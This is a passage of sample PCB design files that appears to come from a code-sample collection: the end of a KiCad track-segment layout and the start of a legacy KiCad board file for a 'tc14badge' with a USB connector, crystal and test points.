(tstamp 59571DE6))\n  (segment (start 93.4 81.8) (end 79.2 81.8) (width 0.45) (layer B.Cu) (net 28) (tstamp 59571DE8))\n  (segment (start 79.2 81.8) (end 77.2 83.8) (width 0.45) (layer B.Cu) (net 28) (tstamp 59571DEB))\n  (segment (start 96.7 84.4) (end 95.2 82.9) (width 0.45) (layer B.Cu) (net 28) (tstamp 59570A9E))\n  (segment (start 120.5 84.4) (end 96.7 84.4) (width 0.9) (layer B.Cu) (net 28) (tstamp 59570A9C))\n  (segment (start 125.1 79.8) (end 120.5 84.4) (width 0.9) (layer B.Cu) (net 28) (tstamp 59570A99))\n  (segment (start 95.2 82.9) (end 94.5 82.9) (width 0.45) (layer B.Cu) (net 28))\n  (segment (start 77.012 83.988) (end 77.2 83.8) (width 0.9) (layer B.Cu) (net 28) (tstamp 59572D51))\n  (segment (start 74.65 91.608) (end 77.408 91.608) (width 0.9) (layer B.Cu) (net 29))\n  (segment (start 78.5 92.7) (end 77.25 91.45) (width 0.45) (layer B.Cu) (net 29) (tstamp 59571733))\n  (segment (start 78.5 98.8) (end 78.5 92.7) (width 0.45) (layer B.Cu) (net 29) (tstamp 59571730))\n  (segment (start 79.6 99.9) (end 78.5 98.8) (width 0.45) (layer B.Cu) (net 29) (tstamp 5957172F))\n  (segment (start 81.9 99.9) (end 79.6 99.9) (width 0.45) (layer B.Cu) (net 29) (tstamp 59571729))\n  (segment (start 81.9 99.9) (end 83.842 97.958) (width 0.6) (layer B.Cu) (net 29) (tstamp 59571721))\n  (segment (start 77.408 91.608) (end 77.25 91.45) (width 0.9) (layer B.Cu) (net 29) (tstamp 59572D5A))\n  (segment (start 83.921 97.958) (end 83.842 97.958) (width 0.45) (layer B.Cu) (net 29))\n  (segment (start 69.8 92.1) (end 70.3 91.6) (width 0.9) (layer B.Cu) (net 30))\n  (segment (start 133.959 100.341) (end 128.4 105.9) (width 0.6) (layer B.Cu) (net 30) (tstamp 59571885))\n  (segment (start 128.4 105.9) (end 72.5 105.9) (width 0.6) (layer B.Cu) (net 30) (tstamp 59571887))\n  (segment (start 72.5 105.9) (end 68.8 102.2) (width 0.6) (layer B.Cu) (net 30) (tstamp 595718AC))\n  (segment (start 68.8 102.2) (end 68.8 93.1) (width 0.6) (layer B.Cu) (net 30) (tstamp 595718B9))\n  (segment (start 68.8 93.1) (end 69.8 92.1) (width 0.6) (layer B.Cu) (net 30) (tstamp 595718C4))\n  (segment (start 133.959 98.085) (end 133.959 100.341) (width 0.6) (layer B.Cu) (net 30))\n  (segment (start 70.3 91.6) (end 72.102 91.6) (width 0.9) (layer B.Cu) (net 30) (tstamp 59572D77))\n  (segment (start 72.102 91.6) (end 72.11 91.608) (width 0.9) (layer B.Cu) (net 30) (tstamp 59572D7A))\n  (segment (start 72.11 61.128) (end 69.4 61.128) (width 0.9) (layer B.Cu) (net 31))\n  (segment (start 68.6 54.2) (end 69.4 55) (width 0.9) (layer B.Cu) (net 31) (tstamp 595718F7))\n  (segment (start 69.4 55) (end 69.4 61.3) (width 0.9) (layer B.Cu) (net 31) (tstamp 595718FC))\n  (segment (start 113.811 52.111) (end 115.544 52.111) (width 1.5) (layer B.Cu) (net 31) (tstamp 59570D0C))\n  (segment (start 111.6 49.9) (end 113.811 52.111) (width 1.5) (layer B.Cu) (net 31) (tstamp 59570D0A))\n  (segment (start 111.6 48.167) (end 111.6 49.9) (width 1.5) (layer B.Cu) (net 31) (tstamp 59570CFD))\n  (segment (start 107.733 44.3) (end 111.6 48.167) (width 1.5) (layer B.Cu) (net 31) (tstamp 59570CEB))\n  (segment (start 71.4 44.3) (end 107.733 44.3) (width 1.5) (layer B.Cu) (net 31) (tstamp 59570CE9))\n  (segment (start 68.6 47.1) (end 71.4 44.3) (width 0.9) (layer B.Cu) (net 31) (tstamp 59570CE0))\n  (segment (start 68.6 47.1) (end 68.6 54.2) (width 0.9) (layer B.Cu) (net 31))\n  (segment (start 69.4 61.128) (end 69.4 61.3) (width 0.9) (layer B.Cu) (net 31) (tstamp 59572D25))\n  (segment (start 137.515 67.097) (end 140.3168 67.097) (width 1.5) (layer B.Cu) (net 32))\n  (segment (start 140 67) (end 140.3168 67) (width 1.5) (layer B.Cu) (net 32) (tstamp 595A370F))\n  (segment (start 140.2198 67) (end 140 67) (width 1.5) (layer B.Cu) (net 32) (tstamp 595A370E))\n  (segment (start 140.3168 67.097) (end 140.2198 67) (width 1.5) (layer B.Cu) (net 32) (tstamp 595A370B))\n  (segment (start 99.415 86.8) (end 105.2 86.8) (width 1.2) (layer B.Cu) (net 32))\n  (segment (start 112.6 86.7) (end 123.2 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 595730A7))\n  (segment (start 112.2 86.3) (end 112.6 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 595730A6))\n  (segment (start 105.7 86.3) (end 112.2 86.3) (width 0.9) (layer B.Cu) (net 32) (tstamp 595730A5))\n  (segment (start 105.2 86.8) (end 105.7 86.3) (width 0.9) (layer B.Cu) (net 32) (tstamp 595730A4))\n  (segment (start 124.9 88.4) (end 123.2 86.7) (width 0.9) (layer B.Cu) (net 32) (tstamp 59570944))\n  (segment (start 127.5 88.4) (end 124.9 88.4) (width 0.9) (layer B.Cu) (net 32) (tstamp 59570942))\n  (segment (start 129.565 90.465) (end 127.5 88.4) (width 0.9) (layer B.Cu) (net 32) (tstamp 59570940))\n  (segment (start 99.415 90.846) (end 99.415 86.8) (width 1.2) (layer B.Cu) (net 32))\n  (segment (start 99.415 86.8) (end 99.415 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 595730A2))\n  (segment (start 129.641 90.465) (end 129.565 90.465) (width 0.9) (layer B.Cu) (net 32))\n  (segment (start 92.4 88.4) (end 92.7 88.4) (width 1.2) (layer B.Cu) (net 32))\n  (segment (start 90.2 88.4) (end 92.4 88.4) (width 0.9) (layer B.Cu) (net 32) (tstamp 595703A9))\n  (segment (start 88.262 90.338) (end 90.2 88.4) (width 0.9) (layer B.Cu) (net 32) (tstamp 595703A3))\n  (segment (start 92.7 88.4) (end 94.4 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570925))\n  (segment (start 99.5 87) (end 99.5 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570922))\n  (segment (start 99.5 86.785) (end 99.5 87) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570921))\n  (segment (start 99.415 86.7) (end 99.5 86.785) (width 1.2) (layer B.Cu) (net 32) (tstamp 5957091E))\n  (segment (start 93.4 84.2) (end 93.4 85.7) (width 1.2) (layer B.Cu) (net 32))\n  (segment (start 93.4 85.7) (end 94.4 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 595708F3))\n  (segment (start 125.7 82.7) (end 137.3 82.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570911))\n  (segment (start 123.2 86.7) (end 125.1 84.8) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570907))\n  (segment (start 125.1 84.8) (end 125.1 83.3) (width 1.2) (layer B.Cu) (net 32) (tstamp 5957090B))\n  (segment (start 125.1 83.3) (end 125.7 82.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 5957090C))\n  (segment (start 94.4 86.7) (end 99.5 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 595708FC))\n  (segment (start 137.25 82.65) (end 137.3 82.7) (width 0.9) (layer B.Cu) (net 32) (tstamp 595706E0))\n  (segment (start 137.3 82.7) (end 139.9 85.3) (width 1.5) (layer B.Cu) (net 32) (tstamp 59570915))\n  (segment (start 137.515 90.465) (end 139.9 88.08) (width 1.5) (layer B.Cu) (net 32) (tstamp 595706F9))\n  (segment (start 139.9 85.3) (end 139.9 88.08) (width 1.5) (layer B.Cu) (net 32) (tstamp 595706F4))\n  (segment (start 137.7 82.4) (end 140.3168 79.7832) (width 1.5) (layer B.Cu) (net 32) (tstamp 59570701))\n  (segment (start 140.3168 79.7832) (end 140.3168 67) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570702))\n  (segment (start 140.3168 67) (end 140.3168 64.5047) (width 1.2) (layer B.Cu) (net 32) (tstamp 595A3710))\n  (segment (start 139.6183 57.7737) (end 134.0938 57.7737) (width 1.5) (layer B.Cu) (net 32) (tstamp 57798EE3))\n  (segment (start 140.3168 58.4722) (end 139.9358 58.0912) (width 1.2) (layer B.Cu) (net 32) (tstamp 57798ED3))\n  (segment (start 139.9358 58.0912) (end 139.6183 57.7737) (width 0.635) (layer B.Cu) (net 32) (tstamp 57798F33))\n  (segment (start 140.3168 64.5047) (end 140.3168 58.4722) (width 1.2) (layer B.Cu) (net 32) (tstamp 57798EC9))\n  (segment (start 88.239 90.338) (end 88.262 90.338) (width 0.6) (layer B.Cu) (net 32))\n  (segment (start 80.365 90.338) (end 80.338 90.338) (width 0.6) (layer B.Cu) (net 32))\n  (segment (start 80.338 90.338) (end 79 89) (width 0.6) (layer B.Cu) (net 32) (tstamp 59570376))\n  (segment (start 79 89) (end 79 84.7) (width 0.6) (layer B.Cu) (net 32) (tstamp 59570379))\n  (segment (start 79 84.7) (end 80.7 83) (width 0.6) (layer B.Cu) (net 32) (tstamp 5957037C))\n  (segment (start 80.7 83) (end 92.2 83) (width 0.6) (layer B.Cu) (net 32) (tstamp 5957037E))\n  (segment (start 92.2 83) (end 93.4 84.2) (width 0.6) (layer B.Cu) (net 32) (tstamp 59570381))\n  (segment (start 93.4 84.2) (end 93.2 84) (width 0.9) (layer B.Cu) (net 32) (tstamp 595708F1))\n  (segment (start 134.0938 57.7737) (end 125.4578 57.7737) (width 1.5) (layer B.Cu) (net 32) (tstamp 577991FF))\n  (segment (start 125.5213 49.1377) (end 125.5213 49.150464) (width 1.5) (layer B.Cu) (net 32) (tstamp 5779937C))\n  (segment (start 123.204164 49.150464) (end 125.5213 49.150464) (width 1.2) (layer B.Cu) (net 32))\n  (segment (start 125.5213 49.150464) (end 125.534064 49.150464) (width 0.635) (layer B.Cu) (net 32) (tstamp 5779937D))\n  (segment (start 125.534064 49.150464) (end 134.0938 57.7102) (width 1.5) (layer B.Cu) (net 32) (tstamp 577991F0))\n  (segment (start 134.0938 57.7102) (end 134.0938 57.7737) (width 0.635) (layer B.Cu) (net 32) (tstamp 577991FE))\n  (segment (start 99.4228 90.6667) (end 99.4228 90.1587) (width 0.3048) (layer B.Cu) (net 32) (tstamp 5779731D))\n  (segment (start 125.4578 57.7737) (end 124.01 57.7737) (width 0.635) (layer B.Cu) (net 32))\n  (segment (start 124.5 57.7737) (end 124.01 57.7737) (width 1.2) (layer B.Cu) (net 32) (tstamp 595701ED))\n  (segment (start 99.415 67.224) (end 99.415 65.165) (width 1.5) (layer B.Cu) (net 32))\n  (segment (start 98 63.75) (end 94.5 63.75) (width 1.5) (layer B.Cu) (net 32) (tstamp 595700F7))\n  (segment (start 99.415 65.165) (end 98 63.75) (width 1.5) (layer B.Cu) (net 32) (tstamp 595700F3))\n  (segment (start 88.239 67.224) (end 88.239 67.011) (width 0.6) (layer B.Cu) (net 32))\n  (segment (start 88.239 67.011) (end 90.5 64.75) (width 0.6) (layer B.Cu) (net 32) (tstamp 595700D8))\n  (segment (start 90.5 64.75) (end 93.5 64.75) (width 1.2) (layer B.Cu) (net 32) (tstamp 595700DB))\n  (segment (start 93.5 64.75) (end 94.5 63.75) (width 1.2) (layer B.Cu) (net 32) (tstamp 595700E0))\n  (segment (start 94.5 63.75) (end 94.5 60.75) (width 1.5) (layer B.Cu) (net 32) (tstamp 595700E4))\n  (segment (start 94.5 60.75) (end 91.75 58) (width 1.5) (layer B.Cu) (net 32) (tstamp 595700E8))\n  (segment (start 91.75 58) (end 83.25 58) (width 1.5) (layer B.Cu) (net 32) (tstamp 595700E9))\n  (segment (start 83.25 58) (end 83.25 58.25) (width 0.9) (layer B.Cu) (net 32) (tstamp 595700ED))\n  (segment (start 80.365 67.097) (end 80.347 67.097) (width 0.6) (layer B.Cu) (net 32))\n  (segment (start 80.347 67.097) (end 77.2 63.95) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570055))\n  (segment (start 77.2 63.95) (end 77.2 62.55) (width 1.2) (layer B.Cu) (net 32) (tstamp 5957005A))\n  (segment (start 77.2 62.55) (end 81.5 58.25) (width 1.5) (layer B.Cu) (net 32) (tstamp 5957005D))\n  (segment (start 81.5 58.25) (end 83.25 58.25) (width 1.5) (layer B.Cu) (net 32) (tstamp 59570064))\n  (segment (start 83.25 58.25) (end 83 58.25) (width 0.9) (layer B.Cu) (net 32) (tstamp 595700EE))\n  (segment (start 83 58.25) (end 83.5478 57.7022) (width 0.9) (layer B.Cu) (net 32) (tstamp 59570068))\n  (segment (start 83.5478 57.7022) (end 83.5478 53.5827) (width 1.5) (layer B.Cu) (net 32) (tstamp 5957006C))\n  (segment (start 83.5478 51.0427) (end 83.5478 53.5827) (width 1.5) (layer B.Cu) (net 32))\n  (segment (start 85 53.5827) (end 83.5478 53.5827) (width 1.5) (layer B.Cu) (net 32))\n  (segment (start 113.974 57.25) (end 104.322 57.25) (width 1.5) (layer B.Cu) (net 32))\n  (segment (start 104.322 57.25) (end 100.642 53.57) (width 1.5) (layer B.Cu) (net 32) (tstamp 577D59DA))\n  (segment (start 100.642 53.57) (end 96.07 53.57) (width 1.5) (layer B.Cu) (net 32) (tstamp 577D59DB))\n  (segment (start 96.07 53.57) (end 96.07 53.5827) (width 0.635) (layer B.Cu) (net 32) (tstamp 577D59DD))\n  (segment (start 124.01 57.7737) (end 122.7263 57.7737) (width 1.5) (layer B.Cu) (net 32))\n  (segment (start 117.224 60.5) (end 113.974 57.25) (width 1.5) (layer B.Cu) (net 32) (tstamp 577D56C0))\n  (segment (start 120 60.5) (end 117.224 60.5) (width 1.5) (layer B.Cu) (net 32) (tstamp 577D56BF))\n  (segment (start 122.7263 57.7737) (end 120 60.5) (width 1.5) (layer B.Cu) (net 32) (tstamp 577D56BE))\n  (segment (start 124.01 57.7737) (end 123.8068 57.7737) (width 0.635) (layer B.Cu) (net 32) (tstamp 577D56BC))\n  (segment (start 96.4383 53.5827) (end 96.07 53.5827) (width 0.635) (layer B.Cu) (net 32) (tstamp 57799B81))\n  (segment (start 96.07 53.5827) (end 85 53.5827) (width 1.5) (layer B.Cu) (net 32) (tstamp 577D59DE))\n  (segment (start 85 53.5827) (end 84.8178 53.5827) (width 0.635) (layer B.Cu) (net 32) (tstamp 5786CBA8))\n  (segment (start 86.7228 53.5827) (end 84.8178 53.5827) (width 0.635) (layer B.Cu) (net 32) (tstamp 57798F0E))\n  (segment (start 124.5 65) (end 124.5 57.7737) (width 1.5) (layer B.Cu) (net 32))\n  (segment (start 119.25 65) (end 124.5 65) (width 1.5) (layer B.Cu) (net 32) (tstamp 595701BD))\n  (segment (start 124.5 65) (end 125.25 65) (width 0.9) (layer B.Cu) (net 32) (tstamp 595701EB))\n  (segment (start 118.465 65.785) (end 119.25 65) (width 1.5) (layer B.Cu) (net 32) (tstamp 595701BA))\n  (segment (start 127.544 65) (end 129.641 67.097) (width 0.9) (layer B.Cu) (net 32) (tstamp 595701B7))\n  (segment (start 125.25 65) (end 127.544 65) (width 0.9) (layer B.Cu) (net 32) (tstamp 595701B4))\n  (segment (start 118.465 67.351) (end 118.465 65.785) (width 1.5) (layer B.Cu) (net 32))\n  (segment (start 118.465 87.465) (end 118.4 87.4) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570929))\n  (segment (start 118.465 90.719) (end 118.465 87.465) (width 1.2) (layer B.Cu) (net 32))\n\n)\n"
  },
  {
    "path": "samples/KiCad Legacy Layout/tc14badge.brd",
    "content": "PCBNEW-BOARD Version 1 date Fri Oct 19 11:53:05 2012\n\n# Created by Pcbnew(2012-05-21 BZR 3261)-stable\n\n$GENERAL\nencoding utf-8\nLayerCount 2\nLy 1FFF8001\nEnabledLayers 1FFF8001\nLinks 135\nNoConn 11\nDi 41844 16849 73060 58324\nNdraw 54\nNtrack 512\nNzone 0\nBoardThickness 630\nNmodule 51\nNnets 44\n$EndGENERAL\n\n$SHEETDESCR\nSheet A4 11700 8267\nTitle \"\"\nDate \"19 oct 2012\"\nRev \"\"\nComp \"\"\nComment1 \"\"\nComment2 \"\"\nComment3 \"\"\nComment4 \"\"\n$EndSHEETDESCR\n\n$SETUP\nInternalUnit 0.000100 INCH\nLayers 2\nLayer[0] Back signal\nLayer[15] Front signal\nTrackWidth 80\nTrackWidthList 200\nTrackWidthList 500\nTrackWidthList 1000\nTrackClearence 80\nZoneClearence 200\nTrackMinWidth 80\nDrawSegmWidth 80\nEdgeSegmWidth 150\nViaSize 270\nViaDrill 130\nViaMinSize 270\nViaMinDrill 130\nViaSizeList 310 160\nViaSizeList 370 200\nViaSizeList 420 250\nMicroViaSize 200\nMicroViaDrill 50\nMicroViasAllowed 0\nMicroViaMinSize 200\nMicroViaMinDrill 50\nTextPcbWidth 75\nTextPcbSize 300 400\nEdgeModWidth 80\nTextModSize 600 600\nTextModWidth 120\nPadSize 551 551\nPadDrill 150\nPad2MaskClearance 80\nPad2PasteClearanceRatio -0.12\nAuxiliaryAxisOrg 0 0\nPcbPlotParams (pcbplotparams (layerselection 284721153) (usegerberextensions true) (excludeedgelayer false) (linewidth 60) (plotframeref false) (viasonmask false) (mode 1) (useauxorigin false) (hpglpennumber 1) (hpglpenspeed 20) (hpglpendiameter 15) (hpglpenoverlay 0) (pscolor true) (psnegative false) (psa4output false) (plotreference false) (plotvalue false) (plotothertext true) (plotinvisibletext false) (padsonsilk false) (subtractmaskfromsilk false) (outputformat 1) (mirror false) (drillshape 1) (scaleselection 1) (outputdirectory \"\"))\n$EndSETUP\n\n$EQUIPOT\nNa 0 \"\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 1 \"/DC\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 2 \"/DD\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 3 \"/P0_0\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 4 \"/P0_1\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 5 \"/P0_2\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 6 \"/P0_3\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 7 \"/P0_4\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 8 \"/P0_5\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 9 \"/P1_2\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 10 \"/P1_3\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 11 \"/P1_4\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 12 \"/P1_5\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 13 \"/P1_6\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 14 \"/P1_7\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 15 \"/P2_0\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 16 \"/P2_3\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 17 \"/P2_4\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 18 \"/RESET_N\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 19 \"/VBUS\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 20 \"3V3\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 21 \"GND\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 22 \"N-000023\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 23 \"N-000024\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 24 \"N-000026\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 25 \"N-000027\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 26 \"N-000028\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 27 \"N-000029\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 28 \"N-000030\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 29 \"N-000031\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 30 \"N-000032\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 31 \"N-000033\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 32 \"N-000034\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 33 \"N-000035\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 34 \"N-000037\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 35 \"N-000039\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 36 \"N-000041\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 37 \"N-000042\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 38 \"N-000043\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 39 \"N-000044\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 40 \"N-000045\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 41 \"N-000046\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 42 \"N-000047\"\nSt ~\n$EndEQUIPOT\n$EQUIPOT\nNa 43 \"N-000051\"\nSt ~\n$EndEQUIPOT\n$NCLASS\nName \"Default\"\nDesc \"This is the default net class.\"\nClearance 80\nTrackWidth 80\nViaDia 270\nViaDrill 130\nuViaDia 200\nuViaDrill 50\nAddNet \"\"\nAddNet \"/DC\"\nAddNet \"/DD\"\nAddNet \"/P0_0\"\nAddNet \"/P0_1\"\nAddNet \"/P0_2\"\nAddNet \"/P0_3\"\nAddNet \"/P0_4\"\nAddNet \"/P0_5\"\nAddNet \"/P1_2\"\nAddNet \"/P1_3\"\nAddNet \"/P1_4\"\nAddNet \"/P1_5\"\nAddNet \"/P1_6\"\nAddNet \"/P1_7\"\nAddNet \"/P2_0\"\nAddNet \"/P2_3\"\nAddNet \"/P2_4\"\nAddNet \"/RESET_N\"\nAddNet \"/VBUS\"\nAddNet \"3V3\"\nAddNet \"GND\"\nAddNet \"N-000023\"\nAddNet \"N-000024\"\nAddNet \"N-000026\"\nAddNet \"N-000027\"\nAddNet \"N-000028\"\nAddNet \"N-000029\"\nAddNet \"N-000030\"\nAddNet \"N-000031\"\nAddNet \"N-000032\"\nAddNet \"N-000033\"\nAddNet \"N-000034\"\nAddNet \"N-000035\"\nAddNet \"N-000037\"\nAddNet \"N-000039\"\nAddNet \"N-000041\"\nAddNet \"N-000042\"\nAddNet \"N-000043\"\nAddNet \"N-000044\"\nAddNet \"N-000045\"\nAddNet \"N-000046\"\nAddNet \"N-000047\"\nAddNet \"N-000051\"\n$EndNCLASS\n$MODULE GSG-XTAL-TXC-7A\nPo 61500 45500 1800 15 504D2D98 504D3AA5 ~P\nLi GSG-XTAL-TXC-7A\nSc 504D3AA5\nAR /504D0F4F\nOp 0 0 0\nT0 0 0 600 600 1800 120 N V 21 N \"X1\"\nT1 0 0 600 600 1800 120 N I 21 N \"CRYSTAL\"\nDS 984 -630 984 -551 150 21\nDS -984 -630 -984 -551 150 21\nDS -1024 630 -1024 551 150 21\nDS 984 630 984 551 150 21\nDS -1024 630 984 630 150 21\nDS -984 -630 984 -630 150 21\n$PAD\nSh \"1\" R 669 945 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 41 \"N-000046\"\nPo 728 0\n$EndPAD\n$PAD\nSh \"2\" R 669 945 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 39 \"N-000044\"\nPo -728 0\n$EndPAD\n$EndMODULE  GSG-XTAL-TXC-7A\n$MODULE GSG-USB-MICROB-FCI-10103594\nPo 46000 40000 0 15 4E482E27 504D3AA6 ~P\nLi GSG-USB-MICROB-FCI-10103594\nSc 504D3AA6\nAR /504CAE21\nOp 0 0 0\nT0 984 0 600 600 0 120 N V 21 N \"J2\"\nT1 984 0 600 600 0 120 N I 21 N \"GSG-USB-MICRO-B\"\n$PAD\nSh \"1\" R 689 157 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 19 \"/VBUS\"\nPo 1781 -512\nLe 45683504\n.SolderMask 40\n.LocalClearance 80\n$EndPAD\n$PAD\nSh \"2\" R 689 157 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 36 \"N-000041\"\nPo 1781 -256\nLe 113\n.SolderMask 40\n.LocalClearance 80\n$EndPAD\n$PAD\nSh \"3\" R 689 157 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 38 \"N-000043\"\nPo 1781 0\nLe 30424768\n.SolderMask 40\n.LocalClearance 80\n$EndPAD\n$PAD\nSh \"4\" R 689 157 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 0 \"\"\nPo 1781 256\nLe 32\n.SolderMask 40\n.LocalClearance 80\n$EndPAD\n$PAD\nSh \"5\" R 689 157 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 1781 512\nLe 16\n.SolderMask 40\n.LocalClearance 80\n$EndPAD\n$PAD\nSh \"\" R 814 561 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 0 \"\"\nPo 656 -379\nLe 45683504\n$EndPAD\n$PAD\nSh \"\" R 814 561 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 0 \"\"\nPo 656 379\nLe 305\n$EndPAD\n$PAD\nSh \"\" R 571 843 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 0 \"\"\nPo 1840 -1114\nLe 45683504\n$EndPAD\n$PAD\nSh \"\" R 571 843 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 0 \"\"\nPo 1840 1114\nLe 45447072\n$EndPAD\n$PAD\nSh \"\" R 250 719 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 0 \"\"\nPo 1327 -1176\nLe 1341\n$EndPAD\n$PAD\nSh \"\" R 250 719 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 0 \"\"\nPo 1327 1176\nLe 45683504\n$EndPAD\n$PAD\nSh \"\" R 1116 630 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 0 \"\"\nPo 894 -1083\nLe 40068352\n$EndPAD\n$PAD\nSh \"\" R 1116 630 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 0 \"\"\nPo 894 1083\nLe 43410648\n$EndPAD\n$PAD\nSh \"\" C 630 630 0 0 0\nDr 472 0 0\nAt STD N 00C8FFFF\nNe 0 \"\"\nPo 669 -1083\nLe 45683504\n$EndPAD\n$PAD\nSh \"\" C 630 630 0 0 0\nDr 472 0 0\nAt STD N 00C8FFFF\nNe 0 \"\"\nPo 669 1083\nLe 43410648\n$EndPAD\n$PAD\nSh \"\" C 571 571 0 0 0\nDr 413 0 0\nAt STD N 00C8FFFF\nNe 0 \"\"\nPo 1839 -979\nLe 46673664\n$EndPAD\n$PAD\nSh \"\" C 571 571 0 0 0\nDr 413 0 0\nAt STD N 00C8FFFF\nNe 0 \"\"\nPo 1839 979\nLe 113\n$EndPAD\n$EndMODULE  GSG-USB-MICROB-FCI-10103594\n$MODULE GSG-TESTPOINT-100MIL\nPo 55154 31500 0 15 4FA2EFE0 504E11D5 ~P\nLi GSG-TESTPOINT-100MIL\nKw CONN\nSc 504E11D5\nAR /504D0B60\nOp 0 0 0\nT0 0 0 400 400 0 80 N V 21 N \"P4\"\nT1 0 0 400 400 0 80 N I 21 N \"DD\"\n$PAD\nSh \"1\" C 1000 1000 0 0 0\nDr 0 0 0\nAt SMD N 00808000\nNe 2 \"/DD\"\nPo 0 0\nLe 33\n$EndPAD\n$EndMODULE  GSG-TESTPOINT-100MIL\n$MODULE GSG-TESTPOINT-100MIL\nPo 65193 31500 0 15 4FA2EFE0 504E11D2 ~P\nLi GSG-TESTPOINT-100MIL\nKw CONN\nSc 504E11D2\nAR /504D0B65\nOp 0 0 0\nT0 0 0 400 400 0 80 N V 21 N \"P7\"\nT1 0 0 400 400 0 80 N I 21 N \"GND\"\n$PAD\nSh \"1\" C 1000 1000 0 0 0\nDr 0 0 0\nAt SMD N 00808000\nNe 21 \"GND\"\nPo 0 0\nLe 33\n$EndPAD\n$EndMODULE  GSG-TESTPOINT-100MIL\n$MODULE GSG-TESTPOINT-100MIL\nPo 61846 31500 0 15 4FA2EFE0 504E11CF ~P\nLi GSG-TESTPOINT-100MIL\nKw CONN\nSc 504E11CF\nAR /504D0B63\nOp 0 0 0\nT0 0 0 400 400 0 80 N V 21 N \"P6\"\nT1 0 0 400 400 0 80 N I 21 N \"3V3\"\n$PAD\nSh \"1\" C 1000 1000 0 0 0\nDr 0 0 0\nAt SMD N 00808000\nNe 22 \"N-000023\"\nPo 0 0\nLe 33\n$EndPAD\n$EndMODULE  GSG-TESTPOINT-100MIL\n$MODULE GSG-TESTPOINT-100MIL\nPo 58500 31500 0 15 4FA2EFE0 504D3AAD ~P\nLi GSG-TESTPOINT-100MIL\nKw CONN\nSc 504D3AAD\nAR /504D0B62\nOp 0 0 0\nT0 0 0 400 400 0 80 N V 21 N \"P5\"\nT1 0 0 400 400 0 80 N I 21 N \"DC\"\n$PAD\nSh \"1\" C 1000 1000 0 0 0\nDr 0 0 0\nAt SMD N 00808000\nNe 1 \"/DC\"\nPo 0 0\nLe 33\n$EndPAD\n$EndMODULE  GSG-TESTPOINT-100MIL\n$MODULE GSG-TESTPOINT-100MIL\nPo 51807 31500 0 15 4FA2EFE0 504E11D8 ~P\nLi GSG-TESTPOINT-100MIL\nKw CONN\nSc 504E11D8\nAR /504D0B57\nOp 0 0 0\nT0 0 0 400 400 0 80 